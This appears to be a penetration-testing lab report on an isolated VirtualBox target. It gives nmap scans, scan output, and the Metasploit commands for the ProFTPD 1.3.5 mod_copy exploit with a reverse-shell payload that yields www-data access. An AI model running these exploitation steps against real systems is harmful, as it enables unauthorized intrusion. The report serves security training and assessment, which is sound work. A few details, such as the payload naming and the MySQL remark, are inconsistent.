

Vulnerability Assessment Report: **ERULNX16**

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Platform: Kali Linux – Oracle VirtualBox

Target: ERULNX16 VM

Assessment Type: Vulnerability Assessment and Exploitation

Objective

The purpose of this assessment was to perform a comprehensive penetration test on the ERULNX16 virtual machine. The tasks included identifying exposed services, detecting vulnerabilities, exploiting them to gain unauthorized access, and verifying the extent of compromise.

Tools Used:

Nmap: For host discovery, port scanning, and service/version enumeration.

Metasploit Framework: For automating exploitation attempts and establishing reverse shells.

Searchsploit: To identify public exploits related to discovered vulnerable services.

Methodology & Execution

1. Network Discovery and Initial Setup:

- The ERULNX16 VM was imported into Oracle VirtualBox and configured on a NAT/host-only network
- Attack machine IP: 192.168.18.94 (Kali Linux).
- Target machine IP: 192.168.18.95.
- A ping scan using:

nmap -sP 192.168.18.0/24

confirmed active hosts and identified the target.

2.Enumeration:

Conducted a detailed version scan on the target using:

nmap -sC -sV -A 192.168.18.95 -oN nmap_results.txt

Discovered open services:

- FTP on port 21 (ProFTPD 1.3.5)
- HTTP on port 80 (Apache web server with directories such as chat/, drupal/, phpmyadmin/)
- SMB on ports 139 and 445 (Samba smbd 4.3.11)
- CUPS on port 631
- MySQL on port 3306 (unauthorized access)
- HTTP alternate on port 8080 (Jetty 8.1.7)

The ProFTPD 1.3.5 service was noted vulnerable to the mod_copy remote code execution exploit (CVE-2015-3306).

3. Exploitation:

- Launched Metasploit with:

msfconsole

Searched for relevant exploit:

searchsploit ProFTPD 1.3.5

Used and configured the Metasploit module:

use exploit/unix/ftp/proftpd_modcopy_exec

set RHOSTS 192.168.18.95

set LHOST 192.168.18.94

set SITEPATH /var/www/html

set payload cmd/unix/reverse_perl

Executed the exploit:

exploit

4. Gaining Access and Post-Exploitation:

- The exploit uploaded a PHP reverse shell to the web directory and triggered it.
- A reverse shell connection was received on the attacker system.
- Verified access by issuing:

whoami

which returned www-data.

- Enumerated web directory content:

ls /var/www/html

revealing expected web application directories.

Findings:

- **Critical Vulnerability:** ProFTPD 1.3.5's mod_copy module allows authenticated or unauthenticated attackers to execute arbitrary code remotely by copying malicious files into web-accessible paths.
- **Web Service Exposure:** The Apache server provided directory listings, exposing sensitive application folders.
- **Weak Configurations:** Samba without message signing opens risks of MITM attacks.
- **Unrestricted Services:** CUPS allowed unsafe file uploads; MySQL was exposed without authentication but requires credentials.
- **Outdated Services:** Jetty 8.1.7 is vulnerable to multiple Java-based exploits.

Screenshots

```
l-~$ nmap -sV 192.168.18.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 00:17 IST
Nmap scan report for 192.168.18.95
Host is up (0.00093s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp   open  ipp          CUPS 1.7
3000/tcp  closed ppp
3306/tcp  open  mysql        MySQL (unauthorized)
8080/tcp  open  http         Jetty 8.1.7.v20120910
8181/tcp  closed intermapper
MAC Address: 08:00:27:F1:74:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds
```

```
l-~$ nmap -sC 192.168.18.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 00:42 IST
Nmap scan report for 192.168.18.95
Host is up (0.00034s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
| ssh-hostkey:
|   1024 2b:2e:1f:a4:54:26:87:76:12:26:59:58:0d:da:3b:04 (DSA)
|   2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (RSA)
|   256  c0:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (ECDSA)
|   256  a0:76:f3:76:f8:f0:70:4d:09:ca:e1:10:fd:a9:cc:0a (ED25519)
80/tcp    open  http
|_ http-title: Index of /
|_ http-ls: Volume /
|_  SIZE  TIME      FILENAME
|_  -    2020-10-29 19:37 chat/
|_  -    2011-07-27 20:17 drupal/
|_  1.7K  2020-10-29 19:37 payroll_app.php
|_  -    2013-04-08 12:06 phpmymadmin/
|_
445/tcp   open  microsoft-ds
631/tcp   open  ipp
|_ http-robots.txt: 1 disallowed entry
|_ /
|_ ssl-cert: Subject: commonName=ubuntu
|_ Not valid before: 2020-10-29T19:28:07
|_ Not valid after: 2030-10-27T19:28:07
|_ ssl-date: 2025-09-29T19:12:38+00:00; +9s from scanner time.
|_ http-methods:
|_   Potentially risky methods: PUT
|_ http-title: Home - CUPS 1.7.2
3000/tcp  closed ppp
3306/tcp  open  mysql
8080/tcp  open  http-proxy
|_ http-title: Error 404 - Not Found
8181/tcp  closed intermapper
MAC Address: 08:00:27:F1:74:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_ smb-os-discovery:
|_   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|_   Computer name: ubuntu
|_   NetBIOS computer name: UBUNTU\x00
|_   Domain name: \x00
|_   FQDN: ubuntu
|_   System time: 2025-09-29T19:12:26+00:00
|_ smb-security-mode:
|_   account_used: guest
|_   authentication_level: user
|_   challenge_response: supported
|_   message_signing: disabled (dangerous, but default)
|_ smb2-time:
|_   date: 2025-09-29T19:12:23
|_   start_date: N/A
|_ clock-skew: mean: 10s, deviation: 2s, median: 8s
```

```
msf6 > search ProFTPD 1.3.5

Matching Modules
# Name Disclosure Date Rank Check Description
0 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options
```